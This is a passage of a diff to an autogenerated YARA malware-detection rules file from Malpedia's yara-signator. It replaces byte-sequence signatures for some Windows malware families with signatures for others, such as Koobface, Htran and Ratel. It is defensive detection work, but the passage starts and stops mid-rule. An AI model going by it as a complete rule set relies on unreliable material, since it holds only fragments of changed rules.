-		$sequence_9 = { 837d0800 0f85a0000000 e8???????? 8bf0 85f6 0f8491000000 }
+		$sequence_0 = { 750a 5e 33c0 5b 83c408 c20c00 8b06 }
+		$sequence_1 = { bd30000000 33db 85ed 7e0e e8???????? 88441c18 43 }
+		$sequence_2 = { 6a16 8d4c244c 6800200000 51 57 }
+		$sequence_3 = { 83ec08 53 56 8b742418 8bd9 85f6 750a }
+		$sequence_4 = { 5f 5e 5d 5b 81c438200000 c20400 }
+		$sequence_5 = { 8b542408 668902 b001 c3 668b4801 40 51 }
+		$sequence_6 = { 85db 751d 807c244802 0f85e0000000 8d542414 8d442448 }
+		$sequence_7 = { 6a16 8d44244c 52 50 }
+		$sequence_8 = { 68bb010000 8b39 50 ff15???????? 8b8e20030000 50 53 }
+		$sequence_9 = { e8???????? 8bf0 eb02 33f6 53 6800040000 8d4c243c }
+		$sequence_10 = { 50 8bce e8???????? 8d8c2490010000 51 }
+		$sequence_11 = { 81c428010000 c3 5f 5e 5d 83c8ff 5b }
+		$sequence_12 = { 8bf1 57 b940000000 33c0 8d7c2415 c644241400 c744240800000000 }
+		$sequence_13 = { 895c2440 895c2434 895c2438 ff15???????? }
+		$sequence_14 = { 8b442410 85c0 7408 66837c241400 7510 47 }
+		$sequence_15 = { 8b3a eb0d 8b8e20030000 68bb010000 }
 
 	condition:
-		7 of them and filesize <434176
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Radrat_Auto : FILE
+rule MALPEDIA_Win_Koobface_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f52e2c5a-eef0-5772-ac88-55315ac8b12c"
+		id = "1ce15537-cef6-5c0e-a9d8-b5edfbbc6020"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.radrat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koobface"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.koobface_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "a27dfe470245e6a0fc8e1e694300b8057fe423adc6b34415045732f4d66a4882"
+		logic_hash = "b6b79af3be74d0a2238bfa51c4162b8333d68f5a5fb85b02563c06855a5cb17a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136653,32 +143695,32 @@ rule MALPEDIA_Win_Radrat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8d1cffffff e8???????? c685f0feffff00 c645fc00 8d4dcc e8???????? c745fcffffffff }
-		$sequence_1 = { c6855497ffff01 c645fc01 8d8d58ffffff e8???????? c745fcffffffff 8d4d80 e8???????? }
-		$sequence_2 = { 8d8d74ffffff e8???????? 68a0000000 8d8d74ffffff e8???????? 6a30 8d8d74ffffff }
-		$sequence_3 = { ff15???????? 8b4df4 894168 8b45f4 837868ff 750d ff15???????? }
-		$sequence_4 = { 8d8dd8feffff e8???????? 8d8d0cffffff 51 8d55c4 52 8b45ec }
-		$sequence_5 = { e8???????? 8a854c98ffff e9???????? 8b8d24d6ffff 83c15c 51 8b9524d6ffff }
-		$sequence_6 = { 8d8d50ffffff 51 e8???????? 83c408 8b9548ffffff 83c258 52 }
-		$sequence_7 = { e9???????? 8d4d9c e8???????? c645fc01 8d8d38ffffff 51 8d4d9c }
-		$sequence_8 = { 8b4dd8 8b9130010000 52 ff15???????? 8b45d8 c7803001000000000000 8b4dd8 }
-		$sequence_9 = { 8d8560fbffff 50 8d8da8fdffff e8???????? 89854cf8ffff 8b8d4cf8ffff 898d48f8ffff }
+		$sequence_0 = { 8d850cffffff 50 c745fc26000000 e8???????? 834dfcff 53 }
+		$sequence_1 = { e8???????? 33db 59 889dfaf7ffff 889dfbf7ffff 899decf7ffff 899de0f7ffff }
+		$sequence_2 = { 83bd34c1ffff0a 754c 8d8540c1ffff 6a41 50 }
+		$sequence_3 = { 50 c745cc5cd74100 e8???????? 8b7508 bf63736de0 393e 0f85a5010000 }
+		$sequence_4 = { e8???????? 50 8d8538f4ffff 50 e8???????? 8b8520f4ffff 59 }
+		$sequence_5 = { e8???????? 8b8598faffff c1e803 50 8d85a4faffff 57 50 }
+		$sequence_6 = { 8d8528ffffff 68???????? 50 e8???????? 83c40c 8d8528ffffff 50 }
+		$sequence_7 = { 8d8528ffffff 50 e8???????? 68???????? 8d850857ffff }
+		$sequence_8 = { 8d4de4 51 53 ff90e0000000 837de404 7407 }
+		$sequence_9 = { 68???????? e8???????? 59 57 e8???????? 59 8b4dfc }
 
 	condition:
-		7 of them and filesize <2080768
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Roopy_Auto : FILE
+rule MALPEDIA_Win_Htran_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18fd31da-7cad-5b5e-9e3e-b0b112556109"
+		id = "640e7099-e79d-52c5-9d59-7736988066fb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roopy"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roopy_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htran"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.htran_auto.yar#L1-L118"
 		license_url = "N/A"
-		logic_hash = "6efa923735d84ae0bbc14d021be45ac1298053ce08c8f542f6e92d8a3dac3a28"
+		logic_hash = "572147b50538386d2f3141669299b284d93907b072e98ae962e15d37b04a8bad"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136692,32 +143734,32 @@ rule MALPEDIA_Win_Roopy_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d45d8 30c9 6631d2 e8???????? 6a00 8b45ec 8945c0 }
-		$sequence_1 = { 89e5 8da42478fdffff 53 56 8945fc }
-		$sequence_2 = { 68???????? 64ff30 648920 8d431c 8b55fc e8???????? 89d8 }
-		$sequence_3 = { 85db 7403 8b40fc 3d04010000 0f8e91000000 89da }
-		$sequence_4 = { e9???????? 8d8decfeffff 8d95a0fcffff b810010000 e8???????? e8???????? }
-		$sequence_5 = { c745f800000000 c7859cfeffff00000000 c78598feffff00000000 c78594feffff00000000 c78578fdffff00000000 c7857cfdffff00000000 c78580fdffff00000000 }
-		$sequence_6 = { e8???????? 6a00 a1???????? 8945d8 }
-		$sequence_7 = { 30d2 e8???????? 6a00 8d45e4 e8???????? 6a00 a1???????? }
-		$sequence_8 = { e8???????? 8d8d8cfcffff 6631d2 8d8570fbffff e8???????? 8d858cfcffff 30c9 }
-		$sequence_9 = { 8b45dc 8d70ff f745e401000000 740d f745dcffffffff 0f856fffffff 8b45f0 }
+		$sequence_0 = { 6a00 8d8434f0a20000 55 50 53 }
+		$sequence_1 = { 8bc8 83e103 f3a4 8b4c2462 }
+		$sequence_2 = { 83c408 a1???????? 85c0 7405 }
+		$sequence_3 = { 50 51 ffd3 85c0 7d28 bf???????? 83c9ff }
+		$sequence_4 = { ffd5 8bf8 8b442440 50 ff15???????? 50 53 }
+		$sequence_5 = { 8b8424e0420100 33c9 894c2414 53 8b10 }
+		$sequence_6 = { 8816 46 eb0f 0fb6d2 f682c1c3400004 }
+		$sequence_7 = { 89442410 c705????????03000000 8b442410 8b0d???????? 49 743a }
+		$sequence_8 = { c20400 8b542404 8b0d???????? 3915???????? 56 b8???????? }
+		$sequence_9 = { 899424e8010000 89b424e8000000 899424e4000000 33c0 8d8c24e8000000 }
 
 	condition:
-		7 of them and filesize <739328
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Herpes_Auto : FILE
+rule MALPEDIA_Win_Unidentified_078_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "81a5deba-39e3-5a1f-937c-6696c1e1bbb2"
+		id = "de8cdecb-4380-57eb-b923-e2ba443932e2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.herpes"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.herpes_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_078"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_078_auto.yar#L1-L110"
 		license_url = "N/A"
-		logic_hash = "e0891dbd163cc34c7d236958d6844c054a085f2a34f7c0d3c53aa2f138d5b650"
+		logic_hash = "d08e32bbc4aa8e2920b084e5d720f452f9f589f09a38ee6e42b2e5fd17bef5f8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136731,34 +143773,34 @@ rule MALPEDIA_Win_Herpes_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7303 8d4570 ffb580000000 50 8b45f0 03c7 }
-		$sequence_1 = { 8d9424380d0000 52 ffd6 eb30 6a38 8d4c241c 51 }
-		$sequence_2 = { 68???????? eb05 68???????? 56 ffd7 bb05000000 399d64ffffff }
-		$sequence_3 = { 68???????? 89869c010000 ffb604020000 ffd7 68???????? }
-		$sequence_4 = { 64a300000000 b80f000000 33ff 8985e4feffff 89bde0feffff }
-		$sequence_5 = { 57 ff15???????? 5f 8b4dfc 33cd e8???????? }
-		$sequence_6 = { ff15???????? 85c0 742a 8b959cfdffff 52 e8???????? }
-		$sequence_7 = { 39bdd4fcffff 7302 8bc3 83ec1c 8bf4 }
-		$sequence_8 = { 52 ffd6 68???????? 8d858ffeffff 50 }
-		$sequence_9 = { 52 6a00 89bde0fcffff ff15???????? 85c0 745e 8d85e4fcffff }
+		$sequence_0 = { 7d21 8a440b10 3c5c 7419 }
+		$sequence_1 = { e8???????? 84c0 7467 f60701 }
+		$sequence_2 = { e9???????? 80fa5b 7f3c 80fa28 0f8d94010000 }
+		$sequence_3 = { 80fa0d 0f8421010000 80fa1b 0f8576010000 ba02000000 e8???????? }
+		$sequence_4 = { 80fa7e 0f8f02010000 e9???????? ba02000000 }
+		$sequence_5 = { b901010000 ff15???????? 85c0 740e e8???????? }
+		$sequence_6 = { 0f8cee000000 80fa0d 0f8421010000 80fa1b 0f8576010000 }
+		$sequence_7 = { 0f8f18010000 80fa23 0f8d82010000 ba02000000 }
+		$sequence_8 = { 753f a900004011 7521 a900000600 }
+		$sequence_9 = { 0f8d94010000 80fa26 0f8f18010000 80fa23 0f8d82010000 }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <688128
 }
-rule MALPEDIA_Win_Atmitch_Auto : FILE
+rule MALPEDIA_Win_Spedear_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5a61b640-3c5c-5518-8891-5d83a0b89c2d"
+		id = "064ca511-db37-50e7-a5f5-98bdd145296d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atmitch"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.atmitch_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spedear_auto.yar#L1-L246"
 		license_url = "N/A"
-		logic_hash = "565ce987fa9e005b7e196a8bfd57c4f682eb318d752a50049029192ea9e40f26"
+		logic_hash = "3ab20c94a066f6f4783dff8cb4bf09780239780b3bd9f55c80bdf4166aa7a997"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -136770,32 +143812,48 @@ rule MALPEDIA_Win_Atmitch_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c644244803 ff15???????? 8d4c2418 51 68???????? }
-		$sequence_1 = { 33c4 89842410020000 56 51 8bcc }
-		$sequence_2 = { 8bfe f7df 896c241c 0fb744242c 50 51 }
-		$sequence_3 = { 51 833d????????00 7422 a1???????? 50 }
-		$sequence_4 = { ff15???????? e8???????? 8b0e 8b5138 83c408 }
-		$sequence_5 = { c744241c00000000 b8???????? c60000 83c004 3d???????? 7cf3 68???????? }
-		$sequence_6 = { 8bcc 89642410 68???????? ff15???????? e8???????? 0fb705???????? 83c408 }
-		$sequence_7 = { ff15???????? 83bc24fc00000000 7432 8b4c2408 8b41f4 }
-		$sequence_8 = { c644244803 ff15???????? 8d4c2418 51 68???????? 8d542428 52 }
-		$sequence_9 = { 83c404 50 ff15???????? 50 51 }
+		$sequence_0 = { 83e207 03c2 c1f803 83c40c }
+		$sequence_1 = { 8b4718 8a5f06 50 894608 e8???????? }
+		$sequence_2 = { 53 50 e8???????? 8b7e0c 895e10 }
+		$sequence_3 = { 894618 ffd7 89461c 5f }
+		$sequence_4 = { 33f6 8b4704 8b4f08 53 50 8bde e8???????? }
+		$sequence_5 = { 8b44240c 8b08 8b442410 53 55 }
+		$sequence_6 = { c1e208 40 0bca 3bc3 7c02 }
+		$sequence_7 = { 5b c20400 8b4c240c 57 53 51 }
+		$sequence_8 = { 6a00 68???????? e8???????? 83c40c 68d0070000 }
+		$sequence_9 = { 833e00 741e 8b5608 8b4604 6a00 }
+		$sequence_10 = { 833e00 741a 6a00 6a00 ff7608 }
+		$sequence_11 = { 6a00 ff7608 ff5604 6800800000 }
+		$sequence_12 = { 394878 7456 39487c 7451 }
+		$sequence_13 = { 8bc7 5e 5f 5b 5d c3 6a08 }
+		$sequence_14 = { ff5604 6800800000 6a00 ff7608 }
+		$sequence_15 = { 74ce 56 53 ff7510 ff75d8 6a00 6a00 }
+		$sequence_16 = { 4154 4883ec20 4c8b5120 4d8be0 488bea 410fb74206 488bf1 }
+		$sequence_17 = { 418d5001 488bcf 4803c7 48894308 }
+		$sequence_18 = { 50 8d4de0 e8???????? 83781410 59 5b 7202 }
+		$sequence_19 = { 750b 488bcf ff15???????? eb07 488bd5 }
+		$sequence_20 = { 488bc3 488d152bd50000 48c1f805 83e11f 488b04c2 486bc958 }
+		$sequence_21 = { 723a 488d05349b0000 483bd8 772e }
+		$sequence_22 = { 488364242000 40886c245c 488d0d10d10000 4c8d4c244c }
+		$sequence_23 = { 8a80b4182400 08443b1d 0fb64601 47 3bf8 76ea }
+		$sequence_24 = { 4883ec20 488d05fe690000 488bfa 488bd9 488901 }
+		$sequence_25 = { 488d15032e0000 488bce 488905???????? ff15???????? }
 
 	condition:
-		7 of them and filesize <73728
+		7 of them and filesize <188416
 }
-rule MALPEDIA_Win_Lightwork_Auto : FILE
+rule MALPEDIA_Win_Lowzero_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c390e16c-2dcc-559e-9fd3-76f19a07f767"
+		id = "ad1f4f71-db5d-51c4-9bc5-e40c45051891"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lightwork_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowzero"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lowzero_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "61817aa90179df111fa397aa30e99207b20a485779bb2cd0f0c3ecbb28869217"
+		logic_hash = "bfaa131f289b03263fe3207c7e09eedb0c528831bcdb16b693a70fc486a7a935"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136809,32 +143867,32 @@ rule MALPEDIA_Win_Lightwork_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0fb7442462 89442404 8b442464 890424 e8???????? }
-		$sequence_1 = { c3 55 89e5 83ec38 8b4508 83c07c 8945f0 }
-		$sequence_2 = { e8???????? 894508 837d0800 740b 8b4508 890424 }
-		$sequence_3 = { c645f700 807df700 0f85b1feffff 8b45ec 890424 e8???????? 8b45f0 }
-		$sequence_4 = { c9 c3 55 89e5 83ec28 c7042408000000 e8???????? }
-		$sequence_5 = { 8b4014 83c003 8945f4 8b450c }
-		$sequence_6 = { 894508 837d0800 741e 8b4508 890424 e8???????? }
-		$sequence_7 = { 8b45f8 83c002 01d0 0fb600 0fb6c0 c1e010 0145fc }
-		$sequence_8 = { e8???????? 8b4508 c780a401000000000000 90 c9 c3 55 }
-		$sequence_9 = { 894508 837d0800 740b 8b4508 890424 e8???????? 8b4508 }
+		$sequence_0 = { 0fb617 47 83fa20 0f83e2000000 42 8d0432 3bc1 }
+		$sequence_1 = { 57 8b423c 8b55f4 03c6 }
+		$sequence_2 = { 2bce 894df0 8d9b00000000 8d1c31 ff7734 85c0 }
+		$sequence_3 = { 7439 03c3 837f1400 7425 }
+		$sequence_4 = { 47 2bc8 8d4602 03c3 3b450c }
+		$sequence_5 = { 8b4d0c 3b7dfc 0f8255feffff 2b7508 5f 8bc6 5e }
+		$sequence_6 = { 8bce 83e21f c1eb05 c1e208 2bca 49 83fb07 }
+		$sequence_7 = { 83ec30 53 56 8bd9 8955f4 33f6 895dfc }
+		$sequence_8 = { 46 47 e9???????? 8bda 8bce 83e21f }
+		$sequence_9 = { e8???????? 5f 5e 5b c70007000000 33c0 8be5 }
 
 	condition:
-		7 of them and filesize <1132544
+		7 of them and filesize <433152
 }
-rule MALPEDIA_Win_Lock_Pos_Auto : FILE
+rule MALPEDIA_Win_Ratel_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d847ae83-76cd-5967-803e-bdb0585a6606"
+		id = "0998b123-774e-59b1-8ca2-1a95e1fb9bf7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lock_pos_auto.yar#L1-L140"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ratel"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ratel_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "36f811da9c497d4d7cb3a11de01255e73f7c0aa2aa971faa2dbafeeb60cefda6"
+		logic_hash = "32361790b47e0503007c9763001c72d5f3f0666a6e89a8bab7c3bc0bd295eb6a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136848,35 +143906,32 @@ rule MALPEDIA_Win_Lock_Pos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bec 8b4508 8b0d???????? 8b0481 }
-		$sequence_1 = { 55 8bec 837d0800 7704 }
-		$sequence_2 = { 55 8bec 81eca4040000 56 }
-		$sequence_3 = { 8d85f8fdffff 50 6a00 6a00 6a23 6a00 ff15???????? }
-		$sequence_4 = { 0fb64dfb 85c9 741c 8b5514 8b45fc }
-		$sequence_5 = { 2bc8 c745fc04000000 8a1401 8810 40 }
-		$sequence_6 = { 8b55f8 8b4508 8910 8b45c4 }
-		$sequence_7 = { 3bc6 0f85a1000000 32db e8???????? 84db }
-		$sequence_8 = { 8b55fc 8b450c 0fb70c50 334d14 }
-		$sequence_9 = { 33c9 84c0 0f95c1 41 51 ff75e4 }
-		$sequence_10 = { 894dfc 8b55dc 83c201 8955dc ebd2 8b45f8 }
-		$sequence_11 = { e8???????? 83c408 8d9568ffffff 52 e8???????? 83c404 50 }
-		$sequence_12 = { 50 eb4b 8b45f8 3bc3 764e 03c7 }
+		$sequence_0 = { 89d9 e8???????? 85c0 75e7 89d9 e8???????? 89d9 }
+		$sequence_1 = { a1???????? 85c0 0f85bb010000 8b41fc 8d50ff 8951fc }
+		$sequence_2 = { 8b442454 8b542414 8b400c 85d2 0f851f040000 83f802 }
+		$sequence_3 = { 8bbc24b0000000 e8???????? 8b00 c744245cffffffff c7442460ffffffff 89442428 8b8424a4000000 }
+		$sequence_4 = { 0f83a3020000 0fb700 6683f8ff b800000000 0f4545ac 8945ac b800000000 }
+		$sequence_5 = { 668993f0000000 c783f400000000000000 c783f800000000000000 c783fc00000000000000 c7830001000000000000 c703???????? c7437c98ce4b00 }
+		$sequence_6 = { c703???????? c7437884124c00 e8???????? 89b3f0000000 83ec04 8d65f4 5b }
+		$sequence_7 = { 0f9fc1 084dc9 8b4d08 8345cc01 8b4108 3b410c 0f8240ffffff }
+		$sequence_8 = { 8b4340 c7431400000000 c7431000000000 0fb67b58 894304 894308 89430c }
+		$sequence_9 = { 8d4304 89c1 89c6 e8???????? 89b3ec000000 83ec04 8d65f4 }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <2174976
 }
-rule MALPEDIA_Win_Scarabey_Auto : FILE
+rule MALPEDIA_Win_Miuref_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "32f7c136-d07c-5221-8524-163d31e0f9ce"
+		id = "34f2a1cb-9745-52c8-a75d-06d5cdb25bcd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.scarabey_auto.yar#L1-L131"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miuref"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.miuref_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "1ba8f19bbb29b54a80b4850f75f9b4dbbfff504fea1a8a75cc950df78ae9916b"
+		logic_hash = "0abc04edb362ffc2e411d61d44a4ba6937064194bb7ee145b0929a61d91bcae4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136890,32 +143945,32 @@ rule MALPEDIA_Win_Scarabey_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bf0 85f6 7478 8b8dfcd6ffff 8b95f4d6ffff 8d85fcd6ffff 50 }
-		$sequence_1 = { e8???????? c745fcffffffff 8b06 8b7e04 2bf8 85c0 7409 }
-		$sequence_2 = { 51 52 ffd3 6a40 6800300000 }
-		$sequence_3 = { ff15???????? 56 ff15???????? a1???????? 33f6 56 }
-		$sequence_4 = { ba12000000 8d0dd0ad5700 e9???????? db2d???????? d9c9 d9f5 9b }
-		$sequence_5 = { 7d04 8944241c 686666aa00 50 33db 6a02 895c2450 }
-		$sequence_6 = { 8bc8 8b8524d7ffff 83c005 8d14c500000000 2bd0 a1???????? 03ca }
-		$sequence_7 = { e8???????? 8b4d08 8b83d40c0000 8bf0 83f907 7771 ff248d690c4700 }
-		$sequence_8 = { eb4c 8d4c2404 68???????? 51 e8???????? 83c408 84c0 }
-		$sequence_9 = { c744240808000000 c744240cff000000 ff15???????? 8bce e8???????? 6a00 e8???????? }
+		$sequence_0 = { 59 59 8945fc 85f6 760e 803c072e 7418 }
+		$sequence_1 = { ff15???????? 50 e8???????? ff750c 8906 50 e8???????? }
+		$sequence_2 = { 8bf0 8d7df0 a5 a5 a5 83c418 a5 }
+		$sequence_3 = { 6a02 ff35???????? e8???????? 8bf0 83c40c 85f6 7412 }
+		$sequence_4 = { 8d8300010000 ff75fc 50 e8???????? 68???????? 8d45f8 50 }
+		$sequence_5 = { 8b4124 83f801 7514 ff7514 ff7510 ff750c }
+		$sequence_6 = { 7509 0fb74e06 663bcf 7507 33c0 e9???????? }
+		$sequence_7 = { e8???????? 50 ff35???????? e8???????? 83c43c e9???????? 55 }
+		$sequence_8 = { 8d45d8 50 a5 e8???????? 83c408 8bf0 8bfc }
+		$sequence_9 = { 53 53 ff15???????? 50 a3???????? e8???????? 59 }
 
 	condition:
-		7 of them and filesize <3580928
+		7 of them and filesize <180224
 }
-rule MALPEDIA_Win_Powerloader_Auto : FILE
+rule MALPEDIA_Win_Unidentified_091_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7f4f5f46-fc37-546a-a6e8-709a0ba38743"
+		id = "8c2d9d9b-cb98-5dfc-90ce-01312105d94f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.powerloader_auto.yar#L1-L108"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_091"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_091_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "793f3dbd327274c0d84943d43e404acbb8cb72be0435ee1a3f9e0ada37088a0f"
+		logic_hash = "5f25d4d54583311a39cbead5d516e9dd7eb57b96b31eb59a9b18d068eb7148c5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136929,32 +143984,32 @@ rule MALPEDIA_Win_Powerloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? eb22 33c9 66666666660f1f840000000000 0fb6840c30010000 }
-		$sequence_1 = { 8bf2 32db e8???????? 3bc7 7349 }
-		$sequence_2 = { e8???????? 0fb6d8 84c0 7514 }
-		$sequence_3 = { e8???????? 0fb6d8 84c0 7514 ff15???????? }
-		$sequence_4 = { 33d2 c605????????00 e8???????? 0fb6c3 }
-		$sequence_5 = { 32db e8???????? 3bc7 7349 }
-		$sequence_6 = { e8???????? eb22 33c9 66666666660f1f840000000000 }
-		$sequence_7 = { e8???????? 8b7c2430 85ed 740d }
-		$sequence_8 = { ff15???????? 83f81f 7323 ff15???????? }
-		$sequence_9 = { ff15???????? 83f803 7405 83f802 7530 }
+		$sequence_0 = { e8???????? c744244801000000 488d4c2460 48895c2440 4c8d8734030000 48894c2438 4c8d0ddf721400 }
+		$sequence_1 = { e8???????? 482be0 8b3a 488bd9 8b89d4050000 488bf2 85c9 }
+		$sequence_2 = { e9???????? 488d8ab00e0000 e9???????? 488d8ad00e0000 e9???????? 488d8af00e0000 e9???????? }
+		$sequence_3 = { 89742420 498b06 48634804 33d2 4a89543128 eb41 488b01 }
+		$sequence_4 = { eb6f 4c8b5048 4d85d2 7514 c74424207a020000 418d527c 41b884000000 }
+		$sequence_5 = { 742e c7814007000000000000 488d15b7081400 488b8938060000 41b895030000 e8???????? 48c7833806000000000000 }
+		$sequence_6 = { eb0f 488bd3 488d0dabf12500 e8???????? 488b85d0010000 48634804 488d0524fe2500 }
+		$sequence_7 = { e8???????? 90 488bcb e8???????? 85c0 7525 488b4c2438 }
+		$sequence_8 = { ffc3 e8???????? 3bd8 7cc6 41f6c708 0f85d0000000 4c8d058d0c1100 }
+		$sequence_9 = { eb03 890c90 8b4df3 48ffc2 4983c002 483bd1 72db }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <5777408
 }
-rule MALPEDIA_Win_M0Yv_Auto : FILE
+rule MALPEDIA_Win_Ripper_Atm_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "13583ad1-2b04-58e4-9f81-2e107221c7c3"
+		id = "a163a628-88ff-5ee3-8ab0-3e7869e5ed11"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.m0yv"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.m0yv_auto.yar#L1-L126"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ripper_atm_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "885921d8c153e05a9fb6cddfe964abb6a41c6e3fc24a745c88fdae391a38b5ef"
+		logic_hash = "30a8a446c0211fbfa8563685de5143789e29b7c89e693b370c3a643209d252a9"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -136968,32 +144023,32 @@ rule MALPEDIA_Win_M0Yv_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 490faff8 4d89c3 4901ff 4c8b1424 490fafd2 48039424b8000000 4c89ef }
-		$sequence_1 = { 72e7 4889f9 4889da e8???????? 48c7474800000000 31c0 6690 }
-		$sequence_2 = { f6c201 0f84e3000000 4183fb66 775c 744e }
